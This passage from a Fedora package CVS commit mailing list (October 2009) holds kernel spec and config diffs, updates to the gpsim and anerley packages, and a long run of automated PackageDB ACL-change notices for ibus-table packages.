+Patch15240: tcp-fix-config_tcp_md5sig-config_preempt-timer-bug.patch
+Patch15250: x86-fix-csum_ipv6_magic-asm-memory-clobber.patch
 
 %endif
 
@@ -1421,6 +1429,14 @@ ApplyPatch linux-2.6-ppc64-vs-broadcom-l
 # appletalk: fix skb leak (CVE-2009-2903)
 ApplyPatch appletalk-fix-skb-leak-when-ipddp-interface-is-not-loaded.patch
 
+# Networking fixes from 2.6.31-stable:
+ApplyPatch ax25-fix-possible-oops-in-ax25_make_new.patch
+ApplyPatch net-unix-fix-sending-fds-in-multiple-buffers.patch
+ApplyPatch sit-fix-off-by-one-in-ipip6_tunnel_get_prl.patch
+ApplyPatch sky2-set-sky2_hw_ram_buffer-in-sky2_init.patch
+ApplyPatch tcp-fix-config_tcp_md5sig-config_preempt-timer-bug.patch
+ApplyPatch x86-fix-csum_ipv6_magic-asm-memory-clobber.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -1996,7 +2012,16 @@ fi
 %kernel_variant_files -k vmlinux %{with_kdump} kdump
 
 %changelog
-* Wed Oct 07 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.100.rc1
+* Sun Oct 11 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.101.rc1
+- Networking fixes from 2.6.31-stable:
+  ax25-fix-possible-oops-in-ax25_make_new.patch
+  net-unix-fix-sending-fds-in-multiple-buffers.patch
+  sit-fix-off-by-one-in-ipip6_tunnel_get_prl.patch
+  sky2-set-sky2_hw_ram_buffer-in-sky2_init.patch
+  tcp-fix-config_tcp_md5sig-config_preempt-timer-bug.patch
+  x86-fix-csum_ipv6_magic-asm-memory-clobber.patch
+
+* Sun Oct 11 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.100.rc1
 - Linux 2.6.27.37-rc1
 - Drop merged patches:
   kvm-x86-disallow-hypercalls-for-guest-callers-in-rings-0.patch



From rrankin at fedoraproject.org  Sun Oct 11 22:29:23 2009
From: rrankin at fedoraproject.org (Roy Rankin)
Date: Sun, 11 Oct 2009 22:29:23 +0000 (UTC)
Subject: rpms/gpsim/EL-5 gpsim.spec,1.20,1.21
Message-ID: <20091011222923.A7DAB11C00EC@cvs1.fedora.phx.redhat.com>

Author: rrankin

Update of /cvs/pkgs/rpms/gpsim/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17946

Modified Files:
	gpsim.spec 
Log Message:
bump for gtk+extra not in buildroot



Index: gpsim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gpsim/EL-5/gpsim.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- gpsim.spec	11 Oct 2009 05:28:56 -0000	1.20
+++ gpsim.spec	11 Oct 2009 22:29:21 -0000	1.21
@@ -1,6 +1,6 @@
 Name:		gpsim
 Version:	0.24.0
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	A simulator for Microchip (TM) PIC (TM) microcontrollers
 Summary(fr):	Un simulateur pour les microcontr?leurs PIC (TM) Microchip (TM)
 
@@ -93,6 +93,9 @@ autoconf
 %{_includedir}/*
 
 %changelog
+* Mon Oct 12 2009 Roy Rankin <rrankin at ihug.com.au> 0.24.0-2
+- bump as gtk+extra not in buildroot
+
 * Sun Oct 11 2009 Roy Rankin <rrankin at ihug.com.au> 0.24.0-1
 - upstream release of gpsim 0.24.0 - bug fixes and see ANNOUNCE for
   new features and processors.



From cebbert at fedoraproject.org  Sun Oct 11 22:52:02 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Sun, 11 Oct 2009 22:52:02 +0000 (UTC)
Subject: rpms/kernel/devel patch-2.6.32-rc4.bz2.sign, NONE, 1.1 .cvsignore, 
	1.1133, 1.1134 config-generic, 1.330, 1.331 kernel.spec, 1.1818,
	1.1819 sources, 1.1092, 1.1093 upstream, 1.1005,
	1.1006 patch-2.6.32-rc3-git3.bz2.sign, 1.1,
	NONE patch-2.6.32-rc3.bz2.sign, 1.1, NONE
Message-ID: <20091011225203.623A611C0267@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26993

Modified Files:
	.cvsignore config-generic kernel.spec sources upstream 
Added Files:
	patch-2.6.32-rc4.bz2.sign 
Removed Files:
	patch-2.6.32-rc3-git3.bz2.sign patch-2.6.32-rc3.bz2.sign 
Log Message:
2.6.32-rc4
New config options:
  CONFIG_BE2ISCSI=m
  CONFIG_SCSI_BFA_FC=m
  CONFIG_USB_MUSB_HDRC is not set


--- NEW FILE patch-2.6.32-rc4.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBK0liMyGugalF9Dw4RAupKAJ9DLjtG6X25H4JwVF5n9h5l/2m3YACgkw9p
IeQEc0PYfNLhrNb6J4XlJY8=
=dx0Z
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/.cvsignore,v
retrieving revision 1.1133
retrieving revision 1.1134
diff -u -p -r1.1133 -r1.1134
--- .cvsignore	11 Oct 2009 07:29:06 -0000	1.1133
+++ .cvsignore	11 Oct 2009 22:51:57 -0000	1.1134
@@ -5,5 +5,4 @@ kernel-2.6.*.config
 temp-*
 kernel-2.6.31
 linux-2.6.31.tar.bz2
-patch-2.6.32-rc3.bz2
-patch-2.6.32-rc3-git3.bz2
+patch-2.6.32-rc4.bz2


Index: config-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-generic,v
retrieving revision 1.330
retrieving revision 1.331
diff -u -p -r1.330 -r1.331
--- config-generic	7 Oct 2009 17:28:16 -0000	1.330
+++ config-generic	11 Oct 2009 22:51:57 -0000	1.331
@@ -523,6 +523,7 @@ CONFIG_AIC79XX_RESET_DELAY_MS=15000
 CONFIG_AIC79XX_DEBUG_MASK=0
 # CONFIG_AIC79XX_REG_PRETTY_PRINT is not set
 # CONFIG_SCSI_ADVANSYS is not set
+CONFIG_SCSI_BFA_FC=m
 CONFIG_MEGARAID_NEWGEN=y
 CONFIG_MEGARAID_MM=m
 CONFIG_MEGARAID_MAILBOX=m
@@ -540,7 +541,7 @@ CONFIG_SCSI_OSD_DPRINT_SENSE=1
 # CONFIG_SCSI_OSD_DEBUG is not set
 
 CONFIG_SCSI_BNX2_ISCSI=m
-
+CONFIG_BE2ISCSI=m
 CONFIG_SCSI_PMCRAID=m
 
 
@@ -2953,6 +2954,8 @@ CONFIG_USB_ARMLINUX=y
 CONFIG_USB_EPSON2888=y
 CONFIG_USB_KC2190=y
 
+# CONFIG_USB_MUSB_HDRC is not set
+
 #
 # USB port drivers
 #


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1818
retrieving revision 1.1819
diff -u -p -r1.1818 -r1.1819
--- kernel.spec	11 Oct 2009 07:29:06 -0000	1.1818
+++ kernel.spec	11 Oct 2009 22:51:57 -0000	1.1819
@@ -59,9 +59,9 @@ Summary: The Linux kernel
 # The next upstream release sublevel (base_sublevel+1)
 %define upstream_sublevel %(echo $((%{base_sublevel} + 1)))
 # The rc snapshot level
-%define rcrev 3
+%define rcrev 4
 # The git snapshot level
-%define gitrev 3
+%define gitrev 0
 # Set rpm version accordingly
 %define rpmversion 2.6.%{upstream_sublevel}
 %endif
@@ -1985,6 +1985,13 @@ fi
 # ##############################################################
 
 %changelog
+* Sun Oct 11 2009 Chuck Ebbert <cebbert at redhat.com>
+- 2.6.32-rc4
+- New config options:
+  CONFIG_BE2ISCSI=m
+  CONFIG_SCSI_BFA_FC=m
+  CONFIG_USB_MUSB_HDRC is not set
+
 * Sun Oct 11 2009 Kyle McMartin <kyle at redhat.com>
 - 2.6.32-rc3-git3
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/sources,v
retrieving revision 1.1092
retrieving revision 1.1093
diff -u -p -r1.1092 -r1.1093
--- sources	11 Oct 2009 07:29:07 -0000	1.1092
+++ sources	11 Oct 2009 22:51:58 -0000	1.1093
@@ -1,3 +1,2 @@
 84c077a37684e4cbfa67b18154390d8a  linux-2.6.31.tar.bz2
-767d2d8921ef5730cde0cd40014265eb  patch-2.6.32-rc3.bz2
-e77b3fddc1644d9546c51f0aa5c584c2  patch-2.6.32-rc3-git3.bz2
+c028f9c392515eea1c5945dc0dbeb0ef  patch-2.6.32-rc4.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/upstream,v
retrieving revision 1.1005
retrieving revision 1.1006
diff -u -p -r1.1005 -r1.1006
--- upstream	11 Oct 2009 07:29:07 -0000	1.1005
+++ upstream	11 Oct 2009 22:51:58 -0000	1.1006
@@ -1,3 +1,2 @@
 linux-2.6.31.tar.bz2
-patch-2.6.32-rc3.bz2
-patch-2.6.32-rc3-git3.bz2
+patch-2.6.32-rc4.bz2


--- patch-2.6.32-rc3-git3.bz2.sign DELETED ---


--- patch-2.6.32-rc3.bz2.sign DELETED ---



From pbrobinson at fedoraproject.org  Sun Oct 11 23:12:25 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sun, 11 Oct 2009 23:12:25 +0000 (UTC)
Subject: rpms/anerley/devel .cvsignore, 1.6, 1.7 anerley.spec, 1.10,
	1.11 sources, 1.6, 1.7
Message-ID: <20091011231226.2465211C00EC@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/anerley/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2979

Modified Files:
	.cvsignore anerley.spec sources 
Log Message:
- New upstream 0.1.6 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anerley/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	10 Oct 2009 18:53:00 -0000	1.6
+++ .cvsignore	11 Oct 2009 23:12:24 -0000	1.7
@@ -1 +1 @@
-anerley-0.1.5.tar.bz2
+anerley-0.1.6.tar.bz2


Index: anerley.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anerley/devel/anerley.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- anerley.spec	10 Oct 2009 18:53:00 -0000	1.10
+++ anerley.spec	11 Oct 2009 23:12:24 -0000	1.11
@@ -1,5 +1,5 @@
 Name:           anerley
-Version:        0.1.5
+Version:        0.1.6
 Release:        1%{?dist}
 Summary:        Moblin widgets for people information
 
@@ -72,6 +72,9 @@ rm -rf %{buildroot}
 %{_libdir}/*.so
 
 %changelog
+* Sun Oct 11 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.6-1
+- New upstream 0.1.6 release
+
 * Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.5-1
 - New upstream 0.1.5 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anerley/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	10 Oct 2009 18:53:00 -0000	1.6
+++ sources	11 Oct 2009 23:12:24 -0000	1.7
@@ -1 +1 @@
-ee19b597fd214e4afd1614a0b00a44db  anerley-0.1.5.tar.bz2
+36038de1f3d59f3d21444daa2a8cfe28  anerley-0.1.6.tar.bz2



From pbrobinson at fedoraproject.org  Sun Oct 11 23:21:04 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sun, 11 Oct 2009 23:21:04 +0000 (UTC)
Subject: rpms/anerley/F-12 .cvsignore, 1.6, 1.7 anerley.spec, 1.10,
	1.11 sources, 1.6, 1.7
Message-ID: <20091011232104.EA9D011C00EC@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/anerley/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6905

Modified Files:
	.cvsignore anerley.spec sources 
Log Message:
- New upstream 0.1.6 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anerley/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	10 Oct 2009 20:43:22 -0000	1.6
+++ .cvsignore	11 Oct 2009 23:21:04 -0000	1.7
@@ -1 +1 @@
-anerley-0.1.5.tar.bz2
+anerley-0.1.6.tar.bz2


Index: anerley.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anerley/F-12/anerley.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- anerley.spec	10 Oct 2009 20:43:22 -0000	1.10
+++ anerley.spec	11 Oct 2009 23:21:04 -0000	1.11
@@ -1,5 +1,5 @@
 Name:           anerley
-Version:        0.1.5
+Version:        0.1.6
 Release:        1%{?dist}
 Summary:        Moblin widgets for people information
 
@@ -72,6 +72,9 @@ rm -rf %{buildroot}
 %{_libdir}/*.so
 
 %changelog
+* Sun Oct 11 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.6-1
+- New upstream 0.1.6 release
+
 * Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.5-1
 - New upstream 0.1.5 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anerley/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	10 Oct 2009 20:43:22 -0000	1.6
+++ sources	11 Oct 2009 23:21:04 -0000	1.7
@@ -1 +1 @@
-ee19b597fd214e4afd1614a0b00a44db  anerley-0.1.5.tar.bz2
+36038de1f3d59f3d21444daa2a8cfe28  anerley-0.1.6.tar.bz2



From pkgdb at fedoraproject.org  Sun Oct 11 23:58:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:58:02 +0000
Subject: [pkgdb] ibus-table-extraphrase had acl change status
Message-ID: <20091011235802.B8C6C10F875@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-extraphrase (Fedora devel) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-extraphrase



From pkgdb at fedoraproject.org  Sun Oct 11 23:58:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:58:05 +0000
Subject: [pkgdb] ibus-table-extraphrase had acl change status
Message-ID: <20091011235805.EBA0C10F889@bastion2.fedora.phx.redhat.com>

cchance has set the watchbugzilla acl on ibus-table-extraphrase (Fedora devel) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-extraphrase



From pkgdb at fedoraproject.org  Sun Oct 11 23:58:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:58:12 +0000
Subject: [pkgdb] ibus-table-extraphrase had acl change status
Message-ID: <20091011235812.5BD5A10F875@bastion2.fedora.phx.redhat.com>

cchance has set the approveacls acl on ibus-table-extraphrase (Fedora devel) to Obsolete for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-extraphrase



From pkgdb at fedoraproject.org  Sun Oct 11 23:58:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:58:06 +0000
Subject: [pkgdb] ibus-table-extraphrase had acl change status
Message-ID: <20091011235806.1D15710F8A4@bastion2.fedora.phx.redhat.com>

cchance has set the watchcommits acl on ibus-table-extraphrase (Fedora devel) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-extraphrase



From pkgdb at fedoraproject.org  Sun Oct 11 23:58:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:58:14 +0000
Subject: [pkgdb] ibus-table-extraphrase had acl change status
Message-ID: <20091011235814.6A25810F889@bastion2.fedora.phx.redhat.com>

cchance has set the approveacls acl on ibus-table-extraphrase (Fedora 12) to Obsolete for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-extraphrase



From pkgdb at fedoraproject.org  Sun Oct 11 23:58:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:58:15 +0000
Subject: [pkgdb] ibus-table-extraphrase had acl change status
Message-ID: <20091011235815.9C86E10F8A9@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-extraphrase (Fedora 12) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-extraphrase



From pkgdb at fedoraproject.org  Sun Oct 11 23:58:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:58:19 +0000
Subject: [pkgdb] ibus-table-extraphrase had acl change status
Message-ID: <20091011235819.9469C10F87F@bastion2.fedora.phx.redhat.com>

cchance has set the watchcommits acl on ibus-table-extraphrase (Fedora 12) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-extraphrase



From pkgdb at fedoraproject.org  Sun Oct 11 23:58:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:58:21 +0000
Subject: [pkgdb] ibus-table-extraphrase had acl change status
Message-ID: <20091011235821.D36B510F889@bastion2.fedora.phx.redhat.com>

cchance has set the watchbugzilla acl on ibus-table-extraphrase (Fedora 12) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-extraphrase



From pkgdb at fedoraproject.org  Sun Oct 11 23:58:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:58:43 +0000
Subject: [pkgdb] ibus-table-translit had acl change status
Message-ID: <20091011235843.1556C10F875@bastion2.fedora.phx.redhat.com>

cchance has set the watchbugzilla acl on ibus-table-translit (Fedora devel) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 23:58:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:58:44 +0000
Subject: [pkgdb] ibus-table-translit had acl change status
Message-ID: <20091011235844.D8AD910F882@bastion2.fedora.phx.redhat.com>

cchance has set the watchcommits acl on ibus-table-translit (Fedora devel) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 23:58:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:58:46 +0000
Subject: [pkgdb] ibus-table-translit had acl change status
Message-ID: <20091011235846.33BC610F8A3@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-translit (Fedora devel) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 23:58:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:58:47 +0000
Subject: [pkgdb] ibus-table-translit had acl change status
Message-ID: <20091011235847.6F7A210F875@bastion2.fedora.phx.redhat.com>

cchance has set the approveacls acl on ibus-table-translit (Fedora devel) to Obsolete for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 23:58:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:58:51 +0000
Subject: [pkgdb] ibus-table-translit had acl change status
Message-ID: <20091011235851.9A4D510F889@bastion2.fedora.phx.redhat.com>

cchance has set the watchbugzilla acl on ibus-table-translit (Fedora 11) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 23:58:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:58:53 +0000
Subject: [pkgdb] ibus-table-translit had acl change status
Message-ID: <20091011235853.6F33810F8AC@bastion2.fedora.phx.redhat.com>

cchance has set the watchcommits acl on ibus-table-translit (Fedora 11) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 23:58:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:58:55 +0000
Subject: [pkgdb] ibus-table-translit had acl change status
Message-ID: <20091011235855.6DE6910F875@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-translit (Fedora 11) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 23:58:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:58:57 +0000
Subject: [pkgdb] ibus-table-translit had acl change status
Message-ID: <20091011235857.4621E10F8A8@bastion2.fedora.phx.redhat.com>

cchance has set the approveacls acl on ibus-table-translit (Fedora 11) to Obsolete for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:00 +0000
Subject: [pkgdb] ibus-table-translit had acl change status
Message-ID: <20091011235900.6B3FC10F87F@bastion2.fedora.phx.redhat.com>

cchance has set the watchbugzilla acl on ibus-table-translit (Fedora 12) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:02 +0000
Subject: [pkgdb] ibus-table-translit had acl change status
Message-ID: <20091011235902.6628E10F88B@bastion2.fedora.phx.redhat.com>

cchance has set the watchcommits acl on ibus-table-translit (Fedora 12) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:03 +0000
Subject: [pkgdb] ibus-table-translit had acl change status
Message-ID: <20091011235903.48FD510F8AB@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-translit (Fedora 12) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:03 +0000
Subject: [pkgdb] ibus-table-translit had acl change status
Message-ID: <20091011235903.E6AF910F8B1@bastion2.fedora.phx.redhat.com>

cchance has set the approveacls acl on ibus-table-translit (Fedora 12) to Obsolete for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:19 +0000
Subject: [pkgdb] ibus-table-wubi had acl change status
Message-ID: <20091011235919.47F9E10F875@bastion2.fedora.phx.redhat.com>

cchance has set the watchbugzilla acl on ibus-table-wubi (Fedora devel) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:20 +0000
Subject: [pkgdb] ibus-table-wubi had acl change status
Message-ID: <20091011235920.65B8310F882@bastion2.fedora.phx.redhat.com>

cchance has set the watchcommits acl on ibus-table-wubi (Fedora devel) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:23 +0000
Subject: [pkgdb] ibus-table-wubi had acl change status
Message-ID: <20091011235923.3FCC110F875@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-wubi (Fedora devel) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:25 +0000
Subject: [pkgdb] ibus-table-wubi had acl change status
Message-ID: <20091011235925.8E19010F87F@bastion2.fedora.phx.redhat.com>

cchance has set the approveacls acl on ibus-table-wubi (Fedora devel) to Obsolete for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:31 +0000
Subject: [pkgdb] ibus-table-wubi had acl change status
Message-ID: <20091011235931.8E4AB10F875@bastion2.fedora.phx.redhat.com>

cchance has set the watchbugzilla acl on ibus-table-wubi (Fedora 11) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:33 +0000
Subject: [pkgdb] ibus-table-wubi had acl change status
Message-ID: <20091011235933.770A810F882@bastion2.fedora.phx.redhat.com>

cchance has set the watchcommits acl on ibus-table-wubi (Fedora 11) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:34 +0000
Subject: [pkgdb] ibus-table-wubi had acl change status
Message-ID: <20091011235935.0619E10F8A9@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-wubi (Fedora 11) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:36 +0000
Subject: [pkgdb] ibus-table-wubi had acl change status
Message-ID: <20091011235936.86B1110F8AD@bastion2.fedora.phx.redhat.com>

cchance has set the approveacls acl on ibus-table-wubi (Fedora 11) to Obsolete for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:40 +0000
Subject: [pkgdb] ibus-table-wubi had acl change status
Message-ID: <20091011235940.9460210F87F@bastion2.fedora.phx.redhat.com>

cchance has set the watchbugzilla acl on ibus-table-wubi (Fedora 10) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:41 +0000
Subject: [pkgdb] ibus-table-wubi had acl change status
Message-ID: <20091011235941.674F010F8B1@bastion2.fedora.phx.redhat.com>

cchance has set the watchcommits acl on ibus-table-wubi (Fedora 10) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:44 +0000
Subject: [pkgdb] ibus-table-wubi had acl change status
Message-ID: <20091011235944.1EBCD10F8A4@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-wubi (Fedora 10) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:45 +0000
Subject: [pkgdb] ibus-table-wubi had acl change status
Message-ID: <20091011235945.278F310F8B5@bastion2.fedora.phx.redhat.com>

cchance has set the approveacls acl on ibus-table-wubi (Fedora 10) to Obsolete for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:48 +0000
Subject: [pkgdb] ibus-table-wubi had acl change status
Message-ID: <20091011235948.ED0BB10F875@bastion2.fedora.phx.redhat.com>

cchance has set the watchcommits acl on ibus-table-wubi (Fedora 12) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:50 +0000
Subject: [pkgdb] ibus-table-wubi had acl change status
Message-ID: <20091011235950.9D25610F8BC@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-wubi (Fedora 12) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:50 +0000
Subject: [pkgdb] ibus-table-wubi had acl change status
Message-ID: <20091011235951.6E63110F8BF@bastion2.fedora.phx.redhat.com>

